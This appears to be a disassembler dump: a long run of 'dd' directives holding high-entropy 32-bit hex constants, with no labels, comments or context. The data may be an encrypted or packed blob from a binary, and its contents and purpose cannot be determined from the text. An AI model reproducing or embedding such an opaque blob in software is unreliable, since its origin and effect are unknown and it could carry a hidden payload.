dd 0B777D1D0h, 0F4E9E8E1h, 0EE844089h, 0EFC7C08Fh, 0BB87A03Ah
dd 8674E62Bh, 8C10D4h, 0FF728854h, 2C91EC2Fh, 0B701D02h
dd 480716EAh, 832D82C0h, 8AE8A040h, 8710EF63h, 79601FF3h
dd 88013902h, 8EEC16BBh, 0D8B12AFEh, 5A2D4081h, 0EB3417F8h
dd 7878C878h, 0D7D45A95h, 9894EC60h, 9584ECA0h, 0FAF7D059h
dd 0F81EF894h, 0BB17F022h, 0F152D460h, 33592C2Ah, 8727C760h
dd 76EAA016h, 86E01DBBh, 5CA5B893h, 89FF7AB0h, 840E575Ch
dd 0E800E689h, 0F2752D38h
dd 0F83085F9h, 7C85E516h, 787072FFh, 0D85F0C7Bh, 0EF2CFDACh
dd 9685C474h, 0B48231FAh, 13E4CEFEh, 32F42DBBh, 98C0FD0Ch
dd 2658EB86h, 48FE3ADCh, 28DF74D8h, 1227EC0Bh, 0BB1C40C4h
dd 1D09C533h, 29C485E6h, 502CF3E4h, 0D58EC0ECh, 8187CB4Fh
dd 0EE905C20h, 7C76E3D3h, 3AF87C69h, 1D2E8FF2h, 84E64220h
dd 3C902C96h, 0EC8082F9h, 6185F416h, 5880FC34h, 0F8742D1Ch
dd 867CFD2Fh, 8052B0CCh, 18765263h, 0F0175048h, 0EB0CDB69h
dd 0A9C007B2h, 84B6187Fh, 0E3892741h, 7C9E1EEEh, 0A781821h
dd 0F8860004h, 0FE895016h, 68A7E938h, 5270C78h, 16EE8B62h
dd 38D88159h, 0EC64745Dh, 31FE8F1Eh, 0F8B618AAh, 33835068h
dd 0A04C020Ah, 5C031C1Eh, 4B7E2091h, 76F0AD8Bh, 440E2A4Fh
dd 0F88A822Dh, 273C7938h, 4E52D498h, 707EFE8h, 1C0289E6h
dd 27F69140h, 11872EE7h, 0EA8B008Ch, 0BB76F12Ch, 0AA641302h
dd 8B0207BCh, 8850019Ch, 21803BF3h, 0ED87F527h, 2E8F233h
dd 80E7392Eh, 0C8D8F092h, 0C0B0768Dh, 0F1DA468h, 0EA5091F3h
dd 34A58580h, 17EE94D8h, 0DD87F427h, 0E0340B50h, 5F0239F8h
dd 0AB906077h, 595038FBh, 541D72F0h, 500013A3h, 339ED85h
dd 3AF01B34h, 5BB021ECh, 0F43A1CEFh, 0C83B2874h, 301DBB4Eh
dd 54E0982Dh, 21809C18h, 7E10A938h, 0EA0D627Ch, 0F0A4E91Ch
dd 0D7FC8AF0h, 3460C028h, 1C90EE96h, 0E521DC80h, 20F78A30h
dd 1D16E376h, 4FC7303h, 0E1F990ECh, 2AE077B8h, 1D51C4DBh
dd 1E8C0880h, 0F860BB4Eh, 7CE73B01h, 0D8026D77h, 4785D588h
dd 3A3497DCh, 0E8D820D0h, 1D3302F1h, 0F474E62Eh, 0BC20463h
dd 80728084h, 0D66D313Ch, 0EFB02D50h, 85BBF0A9h, 12F87960h
dd 0B930DCF3h, 30BB8E28h, 1416E9C8h, 0C89658ECh, 1E5DF6Ch
dd 4885FDACh, 0A3312BEDh, 83FA76D4h, 2944F748h, 32A5F472h
dd 48F07A64h, 0F4E20EEh, 1181F430h, 0F388033Bh, 1668E8F6h
dd 3809F0C0h, 0FF1845F0h, 79B4405Ah, 0F42126EFh, 5D8038DCh
dd 8D27F98Ah, 0BB7BA0ECh, 0E55A31C0h, 0F2F3B0FDh, 640300EBh
dd 504F619Ah, 0DB3D1242h, 36BB8B10h, 2E13008Fh, 0E16733h
dd 83D3CDD5h, 2B9F1114h, 59895D00h, 0D48B17DBh, 9BB23027h
dd 3AE95228h, 9FD0B01h, 795E2414h, 0AB5878B1h, 47EE00C6h
dd 69BE0067h, 7CE2A9E1h, 0B830CD03h, 0EF5321F2h, 0A45D2941h
dd 0A97AE220h, 0EA0A3030h, 80B60755h, 8050CF70h, 8D547314h
dd 315DE80h, 34426DDDh, 8E9BC96Eh, 0EB051EBEh, 92BAFA53h
dd 7A2D9041h, 0B0C40B9Ch, 144619C0h, 80890898h, 9DA25421h
dd 0C310A29h, 43C4DE5Dh, 862B8D70h, 3D1064E2h, 0B5A9553Fh
dd 89C031D8h, 22805EC0h, 0C14D6343h, 30DB18CFh, 0E8E08FE1h
dd 42FB5C05h, 2C836CFCh, 5AE80433h, 660C08EAh, 820D279h
dd 9421C467h, 1707870Dh, 60ECCA4Fh, 2D6A2644h, 0DA0A08A0h
dd 0EC072C92h, 1FD17462h, 0A3D246B0h, 14C605E1h, 4B4F172h
dd 5C3DE2FCh, 0DE5C6B01h, 88503C74h, 0C02CC87h, 0EA9CEC62h
dd 80052C9h, 9FD7DABFh, 2B7C6859h, 101C7B5Ah, 0D8BC4BBAh
dd 5ABE5681h, 3CB02FC7h, 0A050C23h, 92D9706Bh, 0D9009679h
dd 0EAB2757Ch, 3D7F455h, 598FFC84h, 293B5608h, 0E0D4B2C2h
dd 196D20E3h, 497E5811h, 550C1890h, 8842F0DEh, 51749112h
dd 0D4180D64h, 462E4687h, 4962201Ch, 218408BCh, 0E73463A9h
dd 74C7493h, 14577259h, 37E9500Ah, 3966D3DFh, 213F08h
dd 93145E10h, 338C6C40h, 68457800h, 0EF0AF54Ch, 0C85563DBh
dd 31005773h, 0F683B613h, 35917Eh, 70EFAE02h, 0A5C9B30h
dd 6290D154h, 14C2A100h, 12046C66h, 6B1A0050h, 7EEF958Bh
dd 1E0319AAh, 0CED92A3Ah, 2CD1068Fh, 70627FD6h, 0A0EFB0A0h
dd 0B0E13828h, 8ABA0D18h, 1A86429h, 7D408E06h, 0FC87E1BDh
dd 8127443h, 8403D0B7h, 0C1D5127Ah, 10ABCA57h, 0E141D838h
dd 310038Ch, 772FEF0Ch, 0B08A801h, 4B8F9F09h, 3ABF5C41h
dd 0D7860885h, 828846CEh, 0D81E594Eh, 7744AF0Ah, 0A9818EE4h
dd 0EA209645h, 0F0909912h, 0C28F8E7Dh, 1178E7Dh, 0FAB304E9h
dd 0A2783327h, 0A3A83095h, 47063A03h, 909CEB81h, 66D4866h
dd 3D6CF36h, 0C06F044h, 0AC0F20D5h, 4B8B0988h, 0E7013B08h
dd 2FDE3FEBh, 4C5054F3h, 0CEC88B1Bh, 0FB974E80h, 27739260h
dd 518E2F70h, 0E0AB3D07h, 8E8520F6h, 7102C3FEh, 2FE98AF5h
dd 88C40Ah, 1BCF8723h, 0D76B5A38h, 283E407h, 56617143h
dd 0B0238CE0h, 31C068A7h, 38D98026h, 0E8D1325Fh, 0CF586CD0h
dd 72A09779h, 0D44A503Eh, 5B01E476h, 5F18738Fh, 30949A0Ah
dd 0D23C001h, 49C7D01h, 9A18A80Bh, 9DA5988Bh, 0CD2D3C6Eh
dd 99935E00h, 16B84DFBh, 0E1B4D454h, 0E390FC06h, 1B15074h
dd 98726FD3h, 0E09DDF7Ch, 6B5008C7h, 57905CB0h, 90444634h
dd 79C88CBFh, 0C098542Bh, 5E52F501h, 0AC50DE0Bh, 0D109BBh
dd 99296280h, 30114A57h, 21C0C7E8h, 0EDD20120h, 0E0B400E1h
dd 0ABE8C529h, 761F2840h, 0A9819A88h, 257EADDh, 84D3A050h
dd 0EF0E1FC6h, 4A5F06FFh, 630C182Ah, 98DEE308h, 2CA0A619h
dd 0DCD8EA0Dh, 0A0869200h, 8BF0E08Dh, 1D223CB3h, 34DFAD05h
dd 768C0166h, 42431FC5h, 40325D7Ch, 0D1627B8Ah, 0C6227CF0h
dd 0D2021B00h, 4034B0E7h, 1D2F00EBh, 0CFDFF1DBh, 0A46A6510h
dd 3F3CC8h, 142A7C5Dh, 32A1D2EEh, 16F8D176h, 0EA90C8A4h
dd 14AF9C88h, 446052F6h, 7ED1FF80h, 0C0A73962h, 0D1F71E07h
dd 0F300FDE5h, 0A8F11BBFh, 0BBF41EA5h, 0E983C0A1h, 1CED5F14h
dd 540978A4h, 144FB0DEh, 638481C0h, 0D1040418h, 3101627Dh
dd 1D20C432h, 7790D1FCh, 3F390023h, 0D2B3EB7Ch, 62057A73h
dd 0E590952h, 0FC5C888h, 34DDA84Ch, 4349532h, 0A0B9E7B5h
dd 1A294F40h, 99438C32h, 10803F4h, 708D427h, 2FE01905h
dd 2404A306h, 0DCEAABFBh, 76019734h, 0A7B12922h, 8C28FBD1h
dd 184B6180h, 872430FEh, 0D70428C6h, 50D04503h, 8240CCDEh
dd 204C784Ch, 552200h, 28434FCEh, 0F4B42F7Ah, 0D67D8B02h
dd 5F74ED86h, 5B3A0E8h, 0E2012CE4h, 6C59626Fh, 2DC0A230h
dd 73D302DDh, 0D80A567Eh, 5B1AA8A0h, 7900A3C1h, 95392703h
dd 4E515CC4h, 0C130B840h, 6D01DB8Dh, 88F0428h, 0E8EA5642h
dd 98113A31h, 1BB8CC11h, 0FB57F700h, 0EBBB5D09h, 0CE6424C2h
dd 4A706158h, 0D3B98053h, 0CA3728E3h, 11A099E7h, 145583A3h
dd 3139AA04h, 6412114Bh, 0B3692087h, 6242A21Ah, 569B3860h
dd 9A287001h, 3F1FD70Ch, 0D2FBAC40h, 0ACAA74D9h, 30B8C0FCh
dd 0B71FF614h, 6C8B5602h, 41D4DDD6h, 5186294h, 247CD13Dh
dd 1C70D809h, 0BDD100FDh, 99597820h, 0E718F57Dh, 29600D7Bh
dd 90546250h, 68054DA7h, 108C5C8Ch, 4463F9Eh, 1CA2C656h
dd 910E1403h, 6994C0F0h, 51BB7D02h, 40FD7101h, 8025F6F0h
dd 0AB2608DBh, 21506CDAh, 7BD200EFh, 3C8A7D6Bh, 5261EF5h
dd 465E44F7h, 26E000C7h, 1AB89198h, 0C0FEEBA3h, 826A44BCh
dd 18114061h, 819C5C81h, 32BF8813h, 4F20A0A0h, 24359DA9h
dd 404C0B3Dh, 40B8AE19h, 0DCDED600h, 1246D2BDh, 0C87149A0h
dd 7A56D320h, 0ECED0290h, 0A1906A47h, 0B5CAC084h, 7D687200h
dd 0FE70C09h, 0C6B8216Fh, 0C107668Ch, 775A87C7h, 4F7D0008h
dd 1D2CBE3h, 0DF10005Eh, 98A6DD85h, 0DA017838h, 4FEA3054h
dd 7089262Eh, 0DC30CE04h
dd 97DE597h, 70E750Ah, 0EF60F06Ah, 0B12A779Dh, 56005684h
dd 76F797E9h, 604B5810h, 0A0EFE837h, 30905F07h, 0FB8059E6h
dd 0B89154BAh, 1A510069h, 8C01F6D6h, 0AE00EE6Bh, 9FB65D37h
dd 7DE87E2Ah, 4ED57180h, 0D884E872h, 9CF7DB7Ah, 0A1066708h
dd 18F8EA58h, 0F968868h, 3003A4E6h, 0EA86BA67h, 0C2C104E2h
dd 91372CCFh, 0EA27BE78h, 90EEF304h, 5B19EA70h, 7509CE16h
dd 0A2912437h, 0B833ED78h, 0A6231448h, 7145805h, 14988F84h
dd 8D008A40h, 23184D14h, 415C7118h, 0C08CBA19h, 8BB0E2D9h
dd 0F900B94Ah, 0A10D6017h, 2E7D1985h, 25300855h, 3B918C97h
dd 0F9731C80h, 0EB3E1681h, 0C0793147h, 49BE88BBh, 0F6B0D13Dh
dd 0FFE9B9C4h, 94E1CD09h, 0D2F002B4h, 9FE088Fh, 0F0149A47h
dd 48F40724h, 227DA08h, 0AE3318DBh, 3BF38048h, 5985EC05h
dd 6499CAD4h, 24345EC0h, 8B9C9A26h, 68315B04h, 0A101F3BAh
dd 0B232439Ah, 93C87355h, 0EA7B075Eh, 0A2227504h, 0F0CAE8B6h
dd 0E8633C87h, 0B0AA821Ch, 0E38348h, 2F9FBCD0h, 2797172Bh
dd 0E4745E80h, 32D92E6Fh, 9F0AF4D0h, 0B45940A7h, 3FC8DF18h
dd 0E377E560h, 1679B5F8h, 704F2528h, 0CDD6C0CCh, 0A2F3EA81h
dd 94300B43h, 0C23457ECh, 0E800188Dh, 0F46993D2h, 0EC095813h
dd 16D47310h, 50205770h, 4AFB205Bh, 0BB1828BDh, 911CEA00h
dd 5A4E6C3Bh, 3A18C099h, 92F2ADAEh, 0ED9EB605h, 54224AA2h
dd 0A46E77ABh, 27EF0C08h, 850246Ch, 65174414h, 890B4h
dd 0A35363E2h, 3ABFD0AFh, 0B80AD2F2h, 9C41E0B9h, 35C6D80Fh
dd 0C42F4AA0h, 34009B23h, 0DA44EE08h, 1369B206h, 3D05805h
dd 7F4A79B0h, 0A956F6C0h, 53A3F404h, 6CD360D6h, 0CE441DEBh
dd 0F21137C8h, 0A0A04673h, 0F0670E4Fh, 5E479900h, 1B684E58h
dd 5B431F0Ah, 0E9CA0091h, 553221D4h, 350D38h, 9EC741C5h
dd 10E352h, 6CD35126h, 5547645Eh, 4168C918h, 32C4E748h
dd 0C8194BC0h, 0ACEC610h, 0B3516CAFh, 0CB590110h, 0C44C5F0Bh
dd 8C76B467h, 0B2E518C1h, 0FF053A77h, 6DB6D881h, 6F084980h
dd 75E60419h, 0EF423C07h, 7A463D85h, 972A0021h, 6096BF1Ah
dd 91005578h, 8DDC891Eh, 73D1676Ah, 11A500A8h, 0DEA4C15Dh
dd 5E005518h, 0D958DB4Eh, 0C72A4FDAh, 63756878h, 19D13CFEh
dd 19661E6h, 409070h, 16BAD3h, 514C4FB6h, 0EC068211h, 43F88C10h
dd 79125802h, 209E8A91h, 0FB50723h, 8E40EC96h, 76A4D817h
dd 0FEA00D60h, 2C767CFh, 0DF65837Eh, 9CAFBFBAh, 89D16B80h
dd 7800C9C8h, 4268EB8Ch, 1E866A32h, 434611A0h, 0F6AF3623h
dd 0CD5BB9B8h, 7E02AC19h, 1421CB58h, 0C06AF400h, 8E6202FEh
dd 61B765DBh, 276BA8A0h, 0A5002D0Dh, 19D81A0Ch, 0E8FB0910h
dd 1267B51h, 4BA391B8h, 9F4D58C8h, 3D471850h, 0F8937B6Ah
dd 68490047h, 36898221h, 620C8DD8h, 89DC054h, 8321C055h
dd 971E898Bh, 9E03E007h, 0E4C61D0Eh, 22385841h, 5837647Ch
dd 898560FDh, 65D82331h, 861B5611h, 0C3F0208Eh, 0B43FE394h
dd 47790710h, 2C25CADFh, 2C3AA40Ah, 2D465Ch, 3CC1B9F3h
dd 2CFD738Dh, 193172Ah, 0F1966830h, 6E802448h, 86023100h
dd 5C25DCD7h, 8146FCFh, 380D21D8h, 54C0200h, 0DF574D62h
dd 0AF65005Bh, 8E4576DCh, 0A828FB77h, 0EEF5D43Ch, 5E566F40h
dd 0C09368C8h, 0D7830236h, 47222446h, 23D0801h, 9DF8B0B8h
dd 7BCA90C0h, 0A0043AC0h, 40F0FB00h, 0B3E76D98h, 2B1BB500h
dd 4C5C49EDh, 82C41061h, 0C872284Eh, 115AF937h, 69AC0660h
dd 0B0D0CDFh, 4209C745h, 0FE9821C0h, 1F199ACh, 0CA92D812h
dd 5054408Dh, 0F2268BA4h, 114C3400h, 0A6FC1659h, 99500024h
dd 25FB9146h, 0B6725ED5h, 0C94FDC30h, 507C9371h, 16E8837h
dd 6B8D17Eh, 4466FADCh, 5714018Ch, 3954E3h, 49DAA4C2h
dd 0D064F80Ch, 303F3263h, 0DFFAAC07h, 4B221546h, 0ACFF8700h
dd 6F2E5543h, 3208248Ch, 0B33107E8h, 0CC2DC98Bh, 3891A070h
dd 3E239B43h, 6BAC0538h, 0A038FDDFh, 0ACF83E9Ah, 0BAFDA701h
dd 300D1D51h, 4E442434h, 52D42A55h, 0EFC12CA8h, 0CCC406A5h
dd 49C12170h, 249BC33Fh, 0DDCAA084h, 92208202h, 82EC3531h
dd 223C46D7h, 1097C3Ah, 770A3802h, 0F0232748h, 2C387B30h
dd 9C1B0097h, 0C25545ADh, 78446903h, 7911E01Dh, 8C60A98Fh
dd 0D4E72E2Dh, 0C8512C32h, 22BCE1D1h, 61DAB052h, 8D006A90h
dd 4B511CEBh, 68499EF4h, 0B946D8CCh, 196461B7h, 30D9B93Bh
dd 0D500FAF2h, 7C9714CBh, 0C4B1A5h, 46BAB793h, 8CE88F3Eh
dd 794DAA15h, 44EB3AB0h, 62DC1AD8h, 0B84E7876h, 47B2D20Ch
dd 0C0A030h, 4DA282C7h, 4BEA858Ah, 0D2E55B06h, 0EC20502Bh
dd 9A5090D4h, 7DC21604h, 23783E0Ah, 9590076h, 0AB9A391Fh
dd 0B3501306h, 995055FFh, 525380F0h, 38C67C6h, 0E7F9700h
dd 429554FBh, 69D1766Ch, 600EC988h, 700C4E43h, 0D1056FF2h
dd 0F6C47BC0h, 3AF8D27Fh, 3A2370h, 0BF402291h, 0BD0A9BD7h
dd 0D8B6989Ch, 77B4AA40h, 647806A9h, 0C1DBC2DFh, 58923703h
dd 152B3C3h, 0D2105110h, 25B7DAh, 51B0C4E3h, 0AC4EA43Eh
dd 7300639Fh, 0B3E05A7Dh, 0A54300ECh, 0E413EBC1h, 7464BCD4h
dd 70808858h, 0FDCAFC72h, 70605CE5h, 899F9h, 22EFC6A4h
dd 0ED01D4DEh, 49B88EE8h, 0DF4349Bh, 62C10054h, 55861FE6h
dd 89311699h, 419860F8h, 9CC08F02h, 3F58E109h, 0C7F301C4h
dd 0CF35CC0Eh, 98266570h, 0D0910579h, 435347C2h, 3350D384h
dd 39FF4015h, 3C0500B4h, 0CD5F0E0Ah, 0DF79DEh, 3F8BAE9h
dd 0C99BB619h, 315D940Eh, 104729CBh, 0C3CE7038h, 7B6D3041h
dd 794C0878h, 0C2D48128h, 5470CA10h, 0CCCE3938h, 0D705BC49h
dd 15D99EBh, 6DC0788h, 0D188075h, 0DF87C6C7h, 38CE5CA9h
dd 8994C9F4h, 8B6B1120h, 0C0280094h, 1E46F513h, 185B475Fh
dd 0C2618836h, 0D1B89854h, 0B3517809h, 471C8491h, 50C17FC6h
dd 40D88C4Eh, 0D7167859h, 4620FBh, 4156F8h, 706C6EB6h
dd 0C35B64A7h, 9151F100h, 66ACD0A1h, 0CAD11260h, 4740802Bh
dd 38D259BEh, 0F036380Fh, 7C9BA514h, 0A6AD7D77h, 93D1083Ch
dd 0FC3A2814h, 0F82D9003h, 28352666h, 0E8BC7F60h, 5A9B2AB2h
dd 0D9AC99C4h, 1C11840h, 0A03E01DAh, 506AD456h, 0BC8CE584h
dd 808C3D48h, 33E1DACAh, 5CF84868h, 3ED0780h, 5900D461h
dd 0D01E5DA8h, 5AD346Dh, 26DA98A0h, 97540465h, 41E0223Eh
dd 80509D84h, 5ACD891h, 0F31758D6h, 4F840B50h, 2DAF8810h
dd 0FC9ED80h, 55EB54E6h, 0D35880B8h, 0C649624h, 40A6E942h
dd 0C757F880h, 0A0F5C6A1h, 402CB669h, 24FEA07h, 0F20E575h
dd 252A1050h, 1490F3B3h, 684053F0h, 0BCFF0E83h, 0A1A05B55h
dd 5E2D25AEh, 213CDD31h, 94507EB7h, 12D915h, 44809E7Ah
dd 8A7BF402h, 0A73ED30Fh, 0E93B6F8Dh, 7A808286h, 0F85D6058h
dd 12324A29h, 909C0570h, 20081855h, 0A2844224h, 0A01C644Dh
dd 836E1E20h, 5BD83810h, 8EC9F980h, 371534C8h, 8053F8h
dd 863691B9h, 136E2E5Ah, 9F78443h, 7C119578h, 4F858D1h
dd 51883E40h, 99ABC5D7h, 0FC9B86D8h, 0C00E183Ah, 80582206h
dd 0CD50C966h, 2BC33056h, 0CA4A9751h, 0DC78E402h, 4051FDACh
dd 0CE6BB6D0h, 0F6A30721h, 0C7D9B031h, 0D1AC504Bh, 68B06EA6h
dd 1898B8FCh, 92E8973Dh, 0F81227B9h, 440C1805h, 48879837h
dd 0A608547Ah
dd 53204502h, 27B812A4h, 9CE3C110h, 0AE18BB30h, 0CF45F4DEh
dd 4A906FC1h, 0D8206035h, 81CD40E4h, 0B4845490h, 84BEF0B9h
dd 85D83589h, 8A008238h, 0D7205789h, 50B6604h, 91EA6D61h
dd 0C8348B73h, 0BDD6C044h, 8B003D19h, 0C903F2E2h, 99D7CAD0h
dd 0F0450600h, 0B400D157h, 0F816E1D3h, 0D62D47h, 0AFB52199h
dd 52F9C5F1h, 1ADC59C0h, 29767E2h, 0CA96F885h, 98827AB1h
dd 0A48307B6h, 83BF3505h, 100C746Eh, 0E15B46FEh, 44220E3Bh
dd 0E8806717h, 0B9E46CCAh, 0A0AE1920h, 5D17EA8h, 32C338BAh
dd 6FFC900Ah, 0B218DF61h, 0E7B841AFh, 0D0085DB4h, 0C38C6726h
dd 0A91E4DF8h, 8040EB36h, 1ED68235h, 57460E15h, 0A64FFB92h
dd 2B6F8FE0h, 0B22AE532h, 650B88CFh, 223F98DCh, 9751A70h
dd 58E0AC07h, 0D719DA07h, 0A492A484h, 0D9E871C2h, 0BEC81FBEh
dd 8BC9005Eh, 8CE781AFh, 28C04208h, 63A7CF7Eh, 0A8D12648h
dd 6B6A090Ch, 4045644Eh, 30FC5C42h, 32118986h, 629D6DD8h
dd 898F8705h, 94C1DE24h, 0C003539Fh, 0A2ADFED0h, 4E4B8B0h
dd 0C8CAC8B1h, 0C95AA409h, 0F2ED34h, 78C4E2FEh, 83C574Ch
dd 166F3688h, 0BC7C04CEh, 8E801D48h, 0C31D5BDBh, 78426C17h
dd 0C0054E29h, 0A8430215h, 42FC4078h, 509E115Bh, 9CB31674h
dd 2B10913Fh, 165002Ch, 5C517A6Dh, 0F40854E9h, 0A994D59h
dd 483CA560h, 61D9670Eh, 48527465h, 2C94DB4h, 36CC240h
dd 194C5163h, 195C005Ch, 26DC0666h, 20554E73h, 989B5F30h
dd 0F3D4048Ah, 33898360h, 3075D826h, 8C8470h, 95BF0189h
dd 0A41DAE45h, 0C061E400h, 0EA9E85EBh, 0E52C027Dh, 0EF01AF1Eh
dd 0D408485Bh, 0CB42823Ch, 3091F5Eh, 4B5F8C9Ch, 0C5407190h
dd 0B7781042h, 98A9C060h, 0CF8A7E72h, 66DA7A01h, 0A97F8D95h
dd 31FF8470h, 0D028778Eh, 8A5084B9h, 0C4425564h, 0E0949ACh
dd 0BC454AF8h, 9950400Ch, 794F30A2h, 3C969CDEh, 67F67E50h
dd 6E0B1176h, 645697C3h, 6B362410h, 2C4F008Ch, 8C1EFE6Ch
dd 600F7C4Eh, 40C86172h, 0E03896ABh, 4382F13h, 16709A74h
dd 41D15082h, 87228F8h, 0CC9ED216h, 0DA1FDF54h, 0C0F844CBh
dd 1EA8ABBEh, 40E44678h, 0CB215133h, 0F4B965AEh, 0C453A611h
dd 0EF302CA2h, 90CB00D2h, 0C7036B92h, 551835E8h, 3E4969D5h
dd 19CF667h, 4F83F7C2h, 624CC4F3h, 5461088h, 0C2962C0Bh
dd 0B189BCA4h, 0B21C2014h, 3AFC6D52h, 7C914028h, 0D8FB5DE6h
dd 0DF439F01h, 30C82EC2h, 8E32614Ch, 2A0448E7h, 18EB745Ch
dd 56B10C2Eh, 0D270BADDh, 0BC0430A2h, 260E38Bh, 0E6FB196Ch
dd 1064317Dh, 41A942Bh, 9CD350F8h, 0DAF4E03Bh, 0D4337B29h
dd 0D10C13h, 0F05583B2h, 0A72A8480h, 0AEFF87Ah, 4F60FBD0h
dd 7BD88180h, 38726D7Eh, 289B3486h, 4DA210B3h, 25338232h
dd 2C8823Ch, 0EB570072h, 70CF5408h, 2E3138F9h, 8F3000A0h
dd 20EF0A90h, 250902F6h, 273EF0B8h, 0C2D03774h, 0B17A7Fh
dd 712C1DA9h, 0A2EAF14Dh, 6A4BF09h, 0FF6C0236h, 77DC4056h
dd 391C2693h, 573B4288h, 5D4ECE00h, 0A1D02688h, 310B18A8h
dd 1316EF2Ch, 381FCB1Dh, 0A89057D7h, 3D84DD86h, 7880DA32h
dd 12BEC334h, 1DE0A6DBh, 0A800DC72h, 7FBF5149h, 3FCE0F4h
dd 0C320D1F6h, 5CF078C2h, 35392D75h, 0CA21DA5h, 2E8E9A40h
dd 16D2B9h, 3868D4A1h, 0E19046BBh, 71C52207h, 0B48EB752h
dd 0E4BA0008h, 0C69D7964h, 5C90772h, 60D6BC04h, 3674CBEEh
dd 0C8B58B06h, 7938D0h, 0FBF3ADC0h, 1AA29CC4h, 0B9003476h
dd 313EBE10h, 39C52078h, 7050DB9Fh, 42C20C59h, 3440C09Ch
dd 0B7A0A300h, 94B639EAh, 0CC86FC30h, 8521A908h, 0AB79800h
dd 0F491B83Fh, 77CB060Dh, 50D21A9Fh, 46453A18h, 7C16B99h
dd 79EFA7F8h, 1998C63Eh, 0EDC9521Ch, 16BB4841h, 9887829Dh
dd 0D0F7253Fh, 363D72D7h, 50CE550h, 0F8ADF030h, 1A48FCBDh
dd 10C1DBF5h, 0E0169802h, 0E378AC00h, 0C3A9C0DAh, 6A7541E2h
dd 502C490Eh, 8F3FEC7h, 81213EDEh, 0DCDB7580h, 0EC579D95h
dd 4B5B7A0Fh, 0C200702Ah, 4AD4227Bh, 0BF609CB4h, 7061059h
dd 72DD0052h, 0A1F6F91Dh, 0C000058Dh, 0B73D114Dh, 0CE941C8h
dd 54157D39h, 1E054810h, 35D095C3h, 6E00D45Fh, 5FBB3D03h
dd 0B37419E6h, 80280887h, 375EF21h, 3F60AD5h, 0C7CC6743h
dd 36B0937Dh, 98A5A851h, 0D0EBB02h, 450C1480h, 1885ED3Eh
dd 0F2F53349h, 0DE1BD31h, 1DE90079h, 0A8A15234h, 0A8012322h
dd 92BB811Eh, 0D9F9C7EFh, 46CCF042h, 89D1783Ch, 2FA7EC60h
dd 407B9829h, 8401C900h, 54DA20D8h, 1FCBCD2h, 16F7A33Eh
dd 607605A5h, 0FBB8326Bh, 0F04EA900h, 39E1D8B4h, 692E6045h
dd 0C65B98EEh, 75407963h, 1CA810CEh, 25490FE1h, 0E4709854h
dd 0EDA41C15h, 823B80AFh, 48133832h, 3C481274h, 0EF76107Ch
dd 0D1A26306h, 7200C137h, 0DCE51A8Dh, 14749A23h, 0F6703067h
dd 0B9C6DA18h, 0FF00A658h, 2D9D1BF9h, 0F41DC962h, 1378C0B6h
dd 0AF6B0246h, 414C549h, 24BD553Ah, 0C7F80080h, 83C62810h
dd 0F5CF1898h, 0E3D7958h, 0C4976528h, 20162926h, 73344E81h
dd 4424772Ah, 0FFEC0098h, 0A6F0F199h, 9CCF9C6h, 5382184h
dd 2124FFE4h, 58F3C157h, 840820B5h, 9890C281h, 915D82A2h
dd 0C7F70055h, 1084C96Eh, 2C2ECF4h, 754D37E4h, 82684A59h
dd 0F6BA518h, 0CA01F582h, 6CB72442h, 1FE580BDh, 1C7C5AD0h
dd 0BBD10499h, 7915536h, 30FC7A29h, 977900F9h, 655217F8h
dd 0BB15267Ch, 50C8F2DAh, 9C481B68h, 0E1A4845Ch, 8CE204C8h
dd 6D753A04h, 0DB626449h, 75428820h, 16CE1E6Fh, 691F804Dh
dd 0DF4B65A6h, 50737F32h, 753E30E6h, 44496911h, 8480D888h
dd 8EAC7546h, 254939Ah, 0A75FEDE3h, 2C4D923h, 91EC8531h
dd 0C881A274h, 884D5FEh, 49CAA11h, 806592B4h, 87BB408Fh
dd 2044B4ACh, 3721FF4h, 9AF201D2h, 41547DFDh, 0C834DCh
dd 0C5DC3F39h, 6EDCF81h, 0E9BC9B1Ch, 0D0D1BB00h, 51FB6F60h
dd 702C00FDh, 5059A9ADh, 87389B85h, 0E93770C2h, 25020812h
dd 0DAAEC0FBh, 4C2B0042h, 580F6CEAh, 0CD0F013Dh, 0FCD4C8h
dd 858DD2B7h, 16FA0EE9h, 57036A06h, 470E03E8h, 44C35F20h
dd 0B2AF7C89h, 211C3095h, 3C35747h, 99283625h, 1990F9E5h
dd 0F18504Eh, 0B9270583h, 0C02418D9h, 0FB386C0Bh, 1EBF0F80h
dd 0C78950C8h, 0A0141CB5h, 150995FFh, 0B9660CC0h, 32831619h
dd 519A10C4h, 0E4C35930h, 224C4689h, 5141001Bh, 393B0CC3h
dd 0C1172A19h, 20FBD476h, 8BF315C4h, 0ABFBB000h, 0DC562DD5h
dd 39755C6Fh, 0E9663D06h, 990F2B0Ah, 206CACE8h, 0F60E0B10h
dd 8B5F0039h, 31BF66C0h, 0BD1B8391h, 81B630B1h, 12880975h
dd 74961AE1h, 346D18BAh, 761D3B8h, 49858958h, 9D8D2582h
dd 8C80B73Ah, 585BD3FFh, 174122ACh, 2911200Fh, 0CEF90B4h
dd 0C909E9F8h, 0B30E003Eh, 929EE75Dh, 90D01528h, 0E5623ACh
dd 8944C35Eh, 20166274h, 83C35646h, 89C8C20Eh, 82294C9Dh
dd 62BD1081h, 726F00F9h, 840F6165h, 6839D9B1h, 0BB211950h
dd 914489C8h, 5040C02Dh, 11008BC3h, 98F8E689h, 0F2165147h
dd 6193095h, 0CDBD3174h, 853381A4h, 105081DAh, 0C8FB170Eh
dd 0CA324A38h, 0C60C032Eh, 49005985h, 184F6844h, 14FF96A3h
dd 301145B5h, 423B1312h, 0D88BD053h, 94D32CB1h, 91436212h
dd 0CDE8404Ah, 8371442h
dd 0EB410C20h, 47C526F7h, 6610815Bh, 0AAC5DF81h, 0C4CBA520h
dd 1F0C8522h, 25F88B87h, 8083A7AAh, 0D283ACD6h, 5DCD4105h
dd 0C7083B16h, 251D7985h, 0C3C8A7Fh, 332E7EDEh, 96BCF96Eh
dd 0F680FB00h, 1DB589DDh, 0E964C522h, 52334874h, 91C35AC3h
dd 15185489h, 15524288h, 0A7409EC3h, 342235D4h, 803EB532h
dd 88C62FC1h, 576E1D08h, 5908110Eh, 1BBE2FE9h, 0DB0D138Ah
dd 140B000Eh, 0A7AA96BAh, 301C98Ch, 0FB5048C2h, 6491CB0Bh
dd 18293BA3h, 528E044Dh, 11EECC53h, 0D0C6599Fh, 0C82DD685h
dd 5DC355F4h, 6C8991C3h, 4501AD4Eh, 918AC355h, 0D17F20A4h
dd 812804E1h, 3284585h, 2008FEFFh, 8817095Dh, 0E9942A84h
dd 60F80075h, 768901E1h, 0BDDC000Ch, 0D8BFB08Fh, 7A010B3Ch
